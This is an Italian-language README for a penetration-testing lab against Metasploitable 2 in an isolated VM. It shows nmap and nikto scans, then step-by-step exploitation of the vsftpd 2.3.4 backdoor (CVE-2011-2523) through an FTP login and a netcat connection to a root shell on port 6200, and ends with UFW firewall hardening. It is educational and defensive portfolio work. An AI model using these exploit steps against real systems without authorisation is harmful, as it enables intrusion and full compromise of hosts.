📋 Panoramica

Questo laboratorio simula un test di penetrazione reale e un esercizio di rafforzamento difensivo in un ambiente virtuale completamente isolato. Dimostra l'intero ciclo di vita della sicurezza offensiva — dalla ricognizione allo sfruttamento — e i controlli difensivi che mitigherebbero ogni rischio.

Risultato chiave: Ottenuto accesso completo come root alla macchina target in meno di 60 secondi sfruttando un backdoor noto, senza credenziali e senza strumenti speciali.

🏗 Ambiente di Laboratorio

🎯 Metodologia

Ricognizione  →  Scansione  →  Sfruttamento  →  Difesa e Rafforzamento

🔍 Fase 1 — Ricognizione

Scansione delle Porte con Nmap

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

Risultati chiave — 23 porte aperte in totale:

Scansione Web con Nikto

nikto -h http://192.168.148.130 -o nikto_before.txt

18 vulnerabilità trovate, tra cui:

• phpMyAdmin esposto pubblicamente
• phpinfo.php perde la configurazione completa del server
• HTTP TRACE abilitato (attacchi XST)
• Indicizzazione directory abilitata su /doc/, /test/
• Apache 2.2.8 e PHP 5.2.4 obsoleti

💥 Fase 2 — Sfruttamento

CVE-2011-2523 — Backdoor vsftpd 2.3.4

vsftpd 2.3.4 contiene un backdoor introdotto tramite un compromesso della supply chain. Inviando un nome utente che termina con :) fa sì che il server apra una shell root sulla porta 6200.

# Step 1 — Attivare il backdoor tramite FTP
ftp 192.168.148.130
# Username: backdoor:)   Password: anything

# Step 2 — Collegarsi alla shell generata
nc 192.168.148.130 6200

# Step 3 — Verificare l'accesso
whoami
# → root

Risultato: Accesso completo come root al sistema ottenuto in < 60 secondi — nessuna credenziale, nessun framework di sfruttamento richiesto.

Impatto: Un attaccante con accesso root può leggere/modificare/eliminare qualsiasi file, installare malware, esfiltrare dati, o spostarsi verso altri host sulla rete.

🛡 Fase 3 — Difesa e Rafforzamento

Firewall UFW — Politica di Rifiuto Predefinita

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # Solo SSH
sudo ufw status verbose

Rimedi Raccomandati

📄 Rapporto Completo

Vedi report.md per la valutazione completa — metodologia completa, output dei comandi, tabella dei risultati, passaggi di sfruttamento e tutte le raccomandazioni di rimedio.

⚠️ Disclaimer Legale

Questo laboratorio è stato condotto in un ambiente virtuale completamente isolato utilizzando software intenzionalmente vulnerabile (Metasploitable 2). Tutte le tecniche sono solo per scopi educativi e di portfolio. Non replicare su sistemi di cui non si possiede o per cui non si ha esplicita autorizzazione scritta per il test.

🛠 Strumenti Utilizzati